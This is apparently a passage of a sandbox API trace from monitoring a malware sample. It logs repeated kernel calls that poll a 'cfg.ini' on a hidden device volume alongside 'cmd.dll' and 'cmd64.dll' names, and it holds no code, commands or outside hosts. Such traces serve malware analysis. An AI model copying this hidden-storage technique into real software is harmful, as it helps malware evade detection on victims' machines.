0 [0121.581] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.581] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.581] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.581] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.581] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbdf10 [0121.581] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.581] KeLeaveCriticalRegion () [0121.581] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.581] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.581] KeEnterCriticalRegion () [0121.581] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.581] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.581] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.581] KeLeaveCriticalRegion () [0121.581] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.581] KeEnterCriticalRegion () [0121.581] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.581] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.581] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.581] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.581] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.581] IdePortDispatch () returned 0x103 [0121.581] KeWaitForMutexObject () returned 0x0 [0121.582] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.582] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.582] KeLeaveCriticalRegion () [0121.582] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.582] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.582] KeEnterCriticalRegion () [0121.582] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.582] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b57000 [0121.582] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.582] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.582] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.582] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.582] IdePortDispatch () returned 0x103 [0121.582] KeWaitForMutexObject () returned 0x0 [0121.582] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.582] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.582] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.582] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.582] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.582] IdePortDispatch () returned 0x103 [0121.582] KeWaitForMutexObject () returned 0x0 [0121.582] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.582] KeLeaveCriticalRegion () [0121.582] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.583] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.583] KeEnterCriticalRegion () [0121.583] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.583] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.583] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.583] KeLeaveCriticalRegion () [0121.583] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.583] KeEnterCriticalRegion () [0121.583] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.583] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.583] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc5b80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.583] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.583] KeLeaveCriticalRegion () [0121.583] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.583] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.583] KeEnterCriticalRegion () [0121.583] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.583] ExFreePoolWithTag (P=0xfffffa8003bbdf10, Tag=0x0) [0121.583] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.583] KeLeaveCriticalRegion () [0121.583] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.583] ReleaseMutex (hMutex=0xf0) returned 1 [0121.583] Sleep (dwMilliseconds=0x124f80) [0121.597] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.597] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.597] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.597] KeEnterCriticalRegion () [0121.597] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.597] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.597] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.597] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.597] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.597] IdePortDispatch () returned 0x103 [0121.597] KeWaitForMutexObject () returned 0x0 [0121.597] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.597] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.597] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.597] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.597] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.597] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6bb0 [0121.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.598] KeLeaveCriticalRegion () [0121.598] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.598] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.598] KeEnterCriticalRegion () [0121.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.598] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.598] KeLeaveCriticalRegion () [0121.598] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.598] KeEnterCriticalRegion () [0121.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.598] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.598] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.598] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.598] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.598] IdePortDispatch () returned 0x103 [0121.598] KeWaitForMutexObject () returned 0x0 [0121.598] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.598] KeLeaveCriticalRegion () [0121.598] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.598] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.598] KeEnterCriticalRegion () [0121.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.598] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b5c000 [0121.598] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.598] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.598] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.598] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.598] IdePortDispatch () returned 0x103 [0121.598] KeWaitForMutexObject () returned 0x0 [0121.599] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.599] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.599] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.599] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.599] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.599] IdePortDispatch () returned 0x103 [0121.599] KeWaitForMutexObject () returned 0x0 [0121.600] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.600] KeLeaveCriticalRegion () [0121.600] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.601] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.601] KeEnterCriticalRegion () [0121.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.601] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.601] KeLeaveCriticalRegion () [0121.601] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.601] KeEnterCriticalRegion () [0121.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.601] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.601] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6c70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.601] KeLeaveCriticalRegion () [0121.601] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.601] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.601] KeEnterCriticalRegion () [0121.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.601] ExFreePoolWithTag (P=0xfffffa8003bd6bb0, Tag=0x0) [0121.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.601] KeLeaveCriticalRegion () [0121.601] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.601] ReleaseMutex (hMutex=0xf0) returned 1 [0121.601] Sleep (dwMilliseconds=0x124f80) [0121.615] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.615] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.615] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.615] KeEnterCriticalRegion () [0121.615] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.615] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.616] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.616] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.616] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.616] IdePortDispatch () returned 0x103 [0121.616] KeWaitForMutexObject () returned 0x0 [0121.616] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.616] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.616] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.616] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.616] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.616] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4380 [0121.616] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.616] KeLeaveCriticalRegion () [0121.616] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.616] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.616] KeEnterCriticalRegion () [0121.616] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.616] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.616] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.616] KeLeaveCriticalRegion () [0121.616] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.616] KeEnterCriticalRegion () [0121.616] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.616] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.616] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.616] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.616] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.616] IdePortDispatch () returned 0x103 [0121.616] KeWaitForMutexObject () returned 0x0 [0121.616] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.616] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.617] KeLeaveCriticalRegion () [0121.617] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.617] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.617] KeEnterCriticalRegion () [0121.617] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.617] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b61000 [0121.617] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.617] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.617] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.617] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.617] IdePortDispatch () returned 0x103 [0121.617] KeWaitForMutexObject () returned 0x0 [0121.617] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.617] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.617] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.617] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.617] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.617] IdePortDispatch () returned 0x103 [0121.617] KeWaitForMutexObject () returned 0x0 [0121.617] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.617] KeLeaveCriticalRegion () [0121.617] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.618] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.618] KeEnterCriticalRegion () [0121.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.618] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.618] KeLeaveCriticalRegion () [0121.618] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.618] KeEnterCriticalRegion () [0121.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.618] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.618] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.618] KeLeaveCriticalRegion () [0121.618] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.618] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.618] KeEnterCriticalRegion () [0121.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.618] ExFreePoolWithTag (P=0xfffffa8003bc4380, Tag=0x0) [0121.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.618] KeLeaveCriticalRegion () [0121.618] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.618] ReleaseMutex (hMutex=0xf0) returned 1 [0121.618] Sleep (dwMilliseconds=0x124f80) [0121.632] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.632] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.632] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.632] KeEnterCriticalRegion () [0121.632] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.632] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.632] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.632] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.632] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.632] IdePortDispatch () returned 0x103 [0121.632] KeWaitForMutexObject () returned 0x0 [0121.632] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.632] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.632] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.632] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.632] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.632] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc5b70 [0121.632] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.632] KeLeaveCriticalRegion () [0121.632] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.632] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.632] KeEnterCriticalRegion () [0121.632] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.632] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.632] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.632] KeLeaveCriticalRegion () [0121.633] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.633] KeEnterCriticalRegion () [0121.633] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.633] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.633] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.633] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.633] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.633] IdePortDispatch () returned 0x103 [0121.633] KeWaitForMutexObject () returned 0x0 [0121.633] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.633] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.633] KeLeaveCriticalRegion () [0121.633] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.633] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.633] KeEnterCriticalRegion () [0121.633] 